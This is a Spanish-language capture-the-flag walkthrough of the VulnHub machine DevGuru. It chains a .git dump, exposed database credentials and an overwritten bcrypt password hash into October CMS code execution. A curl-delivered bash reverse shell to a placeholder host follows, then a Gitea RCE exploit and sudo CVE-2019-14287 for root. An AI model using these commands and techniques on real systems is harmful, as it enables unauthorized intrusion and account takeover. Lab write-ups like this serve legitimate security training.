DevGuru | CTF Writeup - Vulnhub
DevGuru
Empezamos escaneando nuestra red local para encontrar la IP de la máquina víctima.
1
2
3
4
5
6
7
8
9
10
> sudo netdiscover -r 192.168.216.0/24
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.216.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.216.2 00:50:56:e2:11:a1 1 60 VMware, Inc.
192.168.216.149 00:0c:29:b5:fa:d7 1 60 VMware, Inc.
192.168.216.254 00:50:56:f8:e9:f9 1 60 VMware, Inc.
Exportamos la IP a una variable de entorno con el siguiente comando:
export IP=192.168.216.149. Aplicamos un escaneo exhaustivo connmap.
1
2
3
4
5
6
7
8
9
10
11
12
13
# Nmap 7.93 scan initiated Mon Jan 22 16:48:53 2024 as: nmap -sS -p- -T5 --min-rate 5000 -vv -oN scan.txt -Pn -n 192.168.216.149
Nmap scan report for 192.168.216.149
Host is up, received arp-response (0.00059s latency).
Scanned at 2024-01-22 16:48:53 -03 for 1s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
8585/tcp open unknown syn-ack ttl 64
MAC Address: 00:0C:29:B5:FA:D7 (VMware)
Read data files from: /usr/bin/../share/nmap
# Nmap done at Mon Jan 22 16:48:54 2024 -- 1 IP address (1 host up) scanned in 1.19 seconds
Si enumeramos la página web con el script
http-enumdenmap, encontramos un archivo.htaccess. En el mismo, veremos lo siguiente:
Vemos que hay un archivo
adminer.php. Sin embargo, no conocemos las credenciales.
Otra cosa que podemos ver es que la web carga recursos de un dominio
devguru.local. Se está efectuando virtual hosting. Si lo añadimos a nuestro archivo/etc/hostspara que nos resuelva a ese dominio, y nos dirigimos en la web al puerto 8585, vemos lo siguiente:
Vemos que hay un usuario válido:
frank.
Para seguir con el escaneo y profundizar aún más, hacemos detección de versiones en los servicios que corren en la máquina, nuevamente con
nmap.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Nmap 7.93 scan initiated Mon Jan 22 16:49:17 2024 as: nmap -sCV -p22,80,8585 -oN versions.txt 192.168.216.149
Nmap scan report for 192.168.216.149
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a46e82b01ff57587a5f25a4d6f2898e (RSA)
| 256 0879939ce3b4a4be80ad619dd388d284 (ECDSA)
|_ 256 9cf988d43377064ed97c39173e079cbd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-git:
| 192.168.216.149:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: first commit
| Remotes:
| http://devguru.local:8585/frank/devguru-website.git
|_ Project type: PHP application (guessed from .gitignore)
|_http-generator: DevGuru
|_http-title: Corp - DevGuru
|_http-server-header: Apache/2.4.29 (Ubuntu)
8585/tcp open unknown
MAC Address: 00:0C:29:B5:FA:D7 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 22 16:50:45 2024 -- 1 IP address (1 host up) scanned in 88.26 seconds
¡Hay un directorio
.giten el servidor HTTP! Podemos intentar enumerar lo que hay dentro con la herramienta Git Dumper.
1
> python3 git_dumper.py http://$IP/.git/ dump
Vemos lo siguiente.
Si nos dirigimos a
configveremos un archivodatabase.php. Hacemos uncat database.phpy podremos ver credenciales expuestas.
Intentamos iniciar sesión en Adminer con las credenciales
october:SQ66EBYx4GT3byXH.
Me llama especialmente la atención la sección de
backend_users. Si entramos allí, podemos ver un usuariofrank. Vemos una contraseña encriptada conbcrypt, así que podríamos intentar colar nuestra propia contraseña encriptada con el mismo tipo de hash para poder burlar el sistema. El problema sería saber cuál es la sección donde podríamos iniciar sesión como frank.
Haciendo una búsqueda más exhaustiva, con
gobusterencontré un directoriobackend.
1
> gobuster dir -u http://$IP --add-slash -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,bak
Encriptamos nuestra propia contraseña. Por ejemplo, hola123. Esto lo haremos con https://bcrypt-generator.com/. Colocamos el hash en la columna de password, correspondiente al usuario frank. Si ahora intentamos entrar al panel de control de October CMS con nuestra contraseña, podremos apreciar que efectivamente hemos logrado cambiarla.
Nos vamos a la sección de CMS para proceder a explotar este gestor de contenido.
Una vez aquí, solo queda buscar como ejecutar comandos remotamente. Me encontré con este post de hace varios años ya, donde explican como ejecutar código php en una página desde este gestor: https://octobercms.com/forum/post/running-php-code-on-pages.
“Llamamos” a la variable en la sección markup.
Si entramos a
http://$IP/services?cmd=whoamipodremos ver el output del comando.
Desde una consola, hacemos una petición HTTP con el comando
curl -s -G "http://$IP/services" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/myIP/myPort 0>&1'". Nos ponemos en escucha desdemyPorty mandamos la petición.
¡Estamos dentro! Si nos vamos a
/var/, veremos un archivoapp.ini.bak. Si hacemos uncat app.ini.bak | grep -i password -B 5 -A 5:
Intentamos iniciar sesión nuevamente en Adminer con estas credenciales.
Nuevamente nos vamos a la sección de users en la base de datos
gitea.
Entramos a editar el usuario. El algoritmo criptográfico de la contraseña es pbkdf2.
Cambiamos el algoritmo a bcrypt, y luego cambiamos la contraseña al hash que habíamos generado anteriormente. Intentamos entrar a la página de gitea que vimos al principio de la etapa de reconocimiento.
Tenemos la versión de gitea.
Podemos intentar buscar vulnerabilidades de esta versión con
searchsploit. Buscando por internet, encontré el siguiente script para poder explotar una vulnerabilidad del tipo RCE (Remote Command Execution): https://www.exploit-db.com/exploits/49571. Ejecutamos el script y nos ponemos en escucha por el puerto indicado a la hora de ejecutar.
¡Bien! Ya migramos al usuario frank. Tenemos la flag.
Empezamos a enumerar.
Podemos ejecutar como todos los usuarios el binario
/usr/bin/sqlite3exceptuando el usuarioroot, sin brindar contraseña. Esto puede llegar a ser crítico dependiendo de la versión de sudo. Checkeamos la versión consudo --version, y vemos que está en la 1.8.21p. Es vulnerable al CVE 2019-14287 (Demo: https://www.exploit-db.com/exploits/47502).
¡Listo! Ya somos root y pwneamos la máquina.
¡Muchas gracias por leer!
![[Pasted image 20240219030348.png]](/assets/img/devguru/1.png)
![[Pasted image 20240219030424.png]](/assets/img/devguru/2.png)
![[Captura de pantalla (282).png]](/assets/img/devguru/3.png)
![[Captura de pantalla (283).png]](/assets/img/devguru/4.png)
![[Pasted image 20240219035725.png]](/assets/img/devguru/5.png)
![[Pasted image 20240219030859.png]](/assets/img/devguru/6.png)
![[Pasted image 20240219031044.png]](/assets/img/devguru/7.png)
![[Pasted image 20240219031149.png]](/assets/img/devguru/8.png)
![[Pasted image 20240219031236.png]](/assets/img/devguru/9.png)
![[Pasted image 20240219031835.png]](/assets/img/devguru/10.png)
![[Pasted image 20240219032216.png]](/assets/img/devguru/11.png)
![[Pasted image 20240219032327.png]](/assets/img/devguru/12.png)
![[Pasted image 20240219032850.png]](/assets/img/devguru/13.png)
![[Pasted image 20240219032915.png]](/assets/img/devguru/14.png)
![[Pasted image 20240219033001.png]](/assets/img/devguru/15.png)
![[Pasted image 20240219033600.png]](/assets/img/devguru/16.png)
![[Pasted image 20240219034159.png]](/assets/img/devguru/17.png)
![[Pasted image 20240219034427.png]](/assets/img/devguru/18.png)
![[Pasted image 20240219034501.png]](/assets/img/devguru/19.png)
![[Pasted image 20240219034641.png]](/assets/img/devguru/20.png)
![[Pasted image 20240219035641.png]](/assets/img/devguru/21.png)
![[Pasted image 20240219035823.png]](/assets/img/devguru/22.png)
![[Pasted image 20240219040215.png]](/assets/img/devguru/23.png)
![[Pasted image 20240219041239.png]](/assets/img/devguru/24.png)
![[Pasted image 20240219040313.png]](/assets/img/devguru/25.png)
![[Pasted image 20240219040906.png]](/assets/img/devguru/26.png)
![[Pasted image 20240219040947.png]](/assets/img/devguru/27.png)